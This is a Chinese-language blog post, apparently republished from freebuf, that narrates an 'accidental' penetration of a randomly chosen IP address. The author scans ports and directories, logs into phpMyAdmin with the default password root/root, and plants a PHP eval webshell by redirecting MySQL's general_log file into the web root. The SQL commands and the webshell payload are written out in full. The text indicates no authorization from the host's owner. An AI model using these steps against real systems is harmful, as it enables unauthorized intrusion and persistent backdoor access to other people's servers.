记一次偶然的渗透测试 – 作者:停止思考的Thomas

前言

这段时间来任务,需要扫描一批IP。反正也闲的无聊,等扫描完成还需要一段时间,就随手拿了个IP来测试一下。

一、端口扫描

用nmap简单扫描了一下,发现开了80和3306端口,
nmap1

二、目录扫描

尝试用浏览器访问一下IP,显示403,没有权限访问,如下图:
403

为了扩大攻击面,扫了一波目录,结果扫出了两目录,如下图:

phpmyadmin1

本来还有些困,看到目录名后一下精神起来了,先尝试访问一下/log.php,如下图:
logphp

可以看到,这里泄露了网站的数据库版本,以及网站的绝对路径

三、弱口令

再来访问一下/phpmyadmin1,果不其然是phpmyadmin的登录界面,如下图:
phpmyadmin登录

先尝试下默认密码:root,root,如下图:
php后台界面
没想到直接进去了,网站管理员也太随便了,好吧,刚拿起爆破工具的手又放下了。

四、拿下shell

既然进入了phpmyadmin,下一步要做的自然就是尝试getshell了,而在phpmyadmin中getshell的方式我知道两种,先来尝试第一种方式。

1. 通过into outfile写入一句话木马

getshell的两种方式都必须知道网站的绝对路径。这个时候我们之前做的目录扫描不就起到了作用嘛,在/log.php这个目录下就直接暴露了网站的绝对路径(D:\phpstudy\WWW),如下图:

绝对路径

OK,现在可谓是万事具备。
先创建一个名为test123的数据库,再创建一张名为test_table的表和一个名为name的字段,代码如下:

create database test123;
create table test_table(name varchar(50));

创建数据库

创建表

然后尝试给name字段添加一个值,值的内容为一句话木马:如下图:
插入一句话

现在一句话木马虽然插入成功了,但还不能够运行,需要将包含木马的test_table表导出为一个php文件,这样木马就可以成功执行了,代码如下:

select name from test.test_table into outfile 'D:\phpStudy\WWW\a.php';

导出失败

显示语句执行失败了,看报错信息,“MySQL服务器正在使用–secure-file-priv选项运行,因此它无法执行此语句”。那么我们查询一下secure-file-priv的值,代码如下:

show global variables like '%secure%';

secure为空

可以看到,“secure_file_priv”对应的值为NULL,为NULL就没办法正常写入一句话,所以我们现在把secure_file_priv设置为网站的根目录,再去尝试使用into outfile getshell,如下图:

只读变量
然而报错信息显示secure_file_priv是只读变量,无法修改。
至此,想通过into outfile拿到shell是不可能了。

2. 通过日志写入一句话木马

没办法,我们转而尝试第二种方法,尝试利用日志getshell。
在这里简单介绍一下:

Mysql的两个全局变量:
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。

我们先查看一下两个变量的状态,代码如下:

show global variables like '%general%';

off关闭
从上图可以看到general_log是off状态,我们将其改为on,打开后就会生成日志文件,再将general_log_file的值改为D:\phpStudy\WWW\xxx.php,代码如下:

set global general_log='on';
set global general_log_file='D:\\phpStudy\\WWW\\a.php';
(注意:绝对路径在这里要用双斜杠,单斜杠会执行失败)

a.php是日志文件,也是我们等下要连接的木马。

那么现在直接将一句话木马写入到日志文件,代码如下:

select '<?php eval(@$_POST['pass123']); ?>';

写入成功

这里提示有语法错误,我们不用管。尝试用蚁剑连接一下,成功。

蚁剑连接成功

来源:freebuf.com 2021-04-04 20:07:35 by: 停止思考的Thomas

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论